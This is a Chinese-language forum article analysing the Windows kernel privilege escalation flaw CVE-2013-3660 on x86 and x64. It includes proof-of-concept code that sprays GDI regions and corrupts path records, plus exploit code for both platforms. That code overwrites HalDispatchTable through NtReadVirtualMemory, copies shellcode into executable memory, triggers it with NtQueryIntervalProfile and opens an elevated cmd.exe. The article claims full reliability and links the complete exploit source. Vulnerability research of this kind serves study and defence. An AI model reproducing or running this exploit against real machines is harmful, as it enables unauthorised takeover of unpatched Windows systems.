其他
Microsoft Windows提权漏洞CVE-2013-3660 x86、x64双平台分析
本文为看雪论坛优秀文章
看雪论坛作者ID:ExploitCN
一
前言
1. 概述
2. 非常重要的说明
https://www.anquanke.com/post/id/205867
https://bbs.pediy.com/thread-178154.htm
二
POC分析
1. 漏洞原因
读到这里,如果还不理解污染数据是怎么污染池的,没关系,在第4节我会把调试的内存贴出来,就理解怎么污染到数据的了。
图1 new_PathRecord指针未初始化
2. POC关键代码
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}
PathRecord = (PPATHRECORD)VirtualAlloc(NULL,
sizeof(PATHRECORD),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
FillMemory(PathRecord, sizeof(PATHRECORD), 0xCC);
PathRecord->next = (PATHRECORD*)(0x41414143);
PathRecord->prev = (PATHRECORD*)(0x42424244);
PathRecord->flags = 0;
for (PointNum = 0; PointNum < MAX_POLYPOINTS; PointNum++) {
Points[PointNum].x = (ULONG)(PathRecord) >> 4;
Points[PointNum].y = 0;
PointTypes[PointNum] = PT_BEZIERTO;
}
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
EndPath(Device);
}
图4 漏洞触发函数调用关系图
3. POC运行结果
POC运行结果见下图,由图可见,当Points[PointNum].x 等于0x41414141的时,出现异常时,读取的数值实际为0x41414140,被左移了4位。所以,在写地址的时候,要右移4位,才能得到准确的地址。这就了为什么
Points[PointNum].x = (ULONG_PTR)(0x41414141) >> 4,
要右移4位的原因。
4. POC数据分析
图6 POC数据分析图
三
EXP分析
1. EXP关键原理分析
1.1 原始版EXP原理图
图7 原始版EXP原理图
ExploitRecord.next = (PPATHRECORD)*DispatchRedirect;
ExploitRecord.prev = (PPATHRECORD)&HalDispatchTable[1];
ExploitRecord.flags = PD_BEZIERS | PD_BEGINSUBPATH;
ExploitRecord.count = 4;
图8 Exploit利用点
// nt!NtQueryIntervalProfile的第二个参数就是shellcode地址,
// 而0x40,就是ebp相对于第二个参数的偏移。
// 具体调试结果见EXP调试一节。
VOID __declspec(naked) HalDispatchRedirect(VOID)
{
__asm inc eax
__asm jmp dword ptr[ebp + 0x40]; // 0
__asm inc ecx
...........
}
1.1 升级版EXP原理图
图8 升级版EXP原理图
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
调用,来实现把申请的堆地址写入HalDispatchTable+8,这时,调用NtQueryIntervalProfile就会调用到shellcode。之前已经把shellcode写入了堆。
2. EXP调试
上面是x86下原始版代码调试过程截图,对于x64下的调试,和x86异曲同工,就没有截图进行说明了。因为从原理也可以看出,其实x64下的调试过程更简单,但是EXP编写的技巧更强,这里,我就介绍下x64平台下编写EXP的技巧,调试的话,就各位自己下来调试了。
3. x64平台EXP关键代码详解
3.1 将shellcode地址写入目标地址
CodeAddr = (PVOID)0x1000;
DWORD_PTR AllocSize = 0x1000;
DWORD_PTR ADDR = 0;
while (true)
{
DWORD ret = NtAllocateVirtualMemory((HANDLE)-1,
&CodeAddr,
0,
&AllocSize,
MEM_RESERVE | MEM_COMMIT,
PAGE_EXECUTE_READWRITE);
if (ret != 0) {
ADDR = (DWORD_PTR)CodeAddr + 0x1000;
CodeAddr = (PVOID)ADDR;
continue;
}
else
{
break;
}
}
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer %p CodeAddr shellcode address:%p\n", \
NtReadVirtualMemoryBuffer, CodeAddr);
printf("ShellCode_END = %p\n", ShellCode_END);
printf("ShellCode = %p\n", ShellCode);
printf("%x\n", (PBYTE)ShellCode_END - (PBYTE)ShellCode);
memcpy(CodeAddr, ShellCode, (PBYTE)ShellCode_END - (PBYTE)ShellCode);
把shellcode函数地址写入HalDispatchTable的代码是:
NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable+8);
NtReadVirtualMemoryBuffer = (PBYTE)malloc((SIZE_T)CodeAddr);
这里,
假如分配地址是0x1F0000,那么分配的内存大小就是0x1F0000,因为NtReadVirtualMemory,的最后一个参数是读入的实际大小,这儿需要定义成地址大小,那么就把CodeAddr这个地址,作为长度写入了HalDispatchtable+8。
NtReadVirtualMemory->长度写入HalDispatchtable+8->NtQueryIntervalProfile->调用写入的长度(地址)。
3.2 通过watchdog实现Exploit
while (TRUE)
{
Device = GetDC(NULL);
Mutex = CreateMutex(NULL, FALSE, NULL);
WaitForSingleObject(Mutex, INFINITE);
printf("Mutex = %x\n", Mutex);
Thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WatchdogThread, NULL, 0, NULL);
if ( Thread ==NULL)
{
printf("Create Thread Failed!\n");
continue;
}
printf("start CreateRoundRectRgn\n");
for (Size = 1 << 26; Size; Size >>= 1) {
while (Regions[NumRegion] = CreateRoundRectRgn(0, 0, 1, Size, 1, 1)) {
NumRegion++;
}
}
printf("Allocated %u/%u HRGN objects\n", NumRegion, MaxRegions);
printf("Flattening curves...\n");
for ( PointNum = MAX_POLYPOINTS;PointNum;PointNum-=3)
{
BeginPath(Device);
PolyDraw(Device, Points, PointTypes, PointNum);
EndPath(Device);
FlattenPath(Device);
FlattenPath(Device);
if (PathRecord->next!=PathRecord)
{
DWORD_PTR ret = FALSE;
SIZE_T Count = 0;
//CodeAddr写入HalDispatchTable,写入HaliQuerySystemInformation
printf("CodeAddr = %x\n", (SIZE_T)CodeAddr);
printf("NtReadVirtualMemoryBuffer = %p\n", NtReadVirtualMemoryBuffer);
printf("HalDispatchTable = %p\n", HalDispatchTable);
ret = NtReadVirtualMemory((HANDLE)-1, NtReadVirtualMemoryBuffer,NtReadVirtualMemoryBuffer, (SIZE_T)CodeAddr, HalDispatchTable);
printf("ret = %x\n", ret);
if ( ret == NULL)
{
//在下面的调用shellcode那里打断点
ULONG ret = 0;
NtQueryIntervalProfile((ULONG)pShellCodeInfo, &ret);
ShellExecuteA(NULL, "open", "cmd.exe", NULL, NULL, SW_SHOW);
return;
}
}
EndPath(Device);
}
while (NumRegion) {
DeleteObject(Regions[--NumRegion]);
}
printf("cleaning up...\n");
ReleaseMutex(Mutex);
WaitForSingleObject(Thread, INFINITE);
ReleaseDC(NULL, Device);
ReleaseDC(NULL, Device);
printf("ReStarting!\n");
}
}
DWORD WINAPI WatchdogThread(LPVOID Parameter)
{
printf("Enter WatchdogThread!\n");
if (WaitForSingleObject(Mutex, CYCLE_TIMEOUT) == WAIT_TIMEOUT)
{
printf("InterlockedExchangePointer\n");
while (NumRegion)
{
DeleteObject(Regions[--NumRegion]);
}
InterlockedExchangePointer((volatile PVOID*)&PathRecord->next, &ExploitRecord);
}
else
{
printf("Mutex object did not timeout, list not patched\n");
}
printf("Leave WatchdogThread!\n");
return 0;
}
4. x64平台EXP编写注意事项
实际是假冒的HaliQuerySystemInformation。NtQueryIntervalProfile第一个参数,就是HaliQuerySystemInformation的第三个参数Buffer取值。
四
提权复现
你下载跟我相同版本的系统,成功率会是100%。
五
源代码下载
CVE-2013-3660 x64平台源代码(https://github.com/ExploitCN/CVE-2013-3660-x64-WIN7)
看雪ID:ExploitCN
https://bbs.pediy.com/user-home-945611.htm
# 往期推荐
3.什么是runC?
球分享
球点赞
球在看
点击“阅读原文”,了解更多!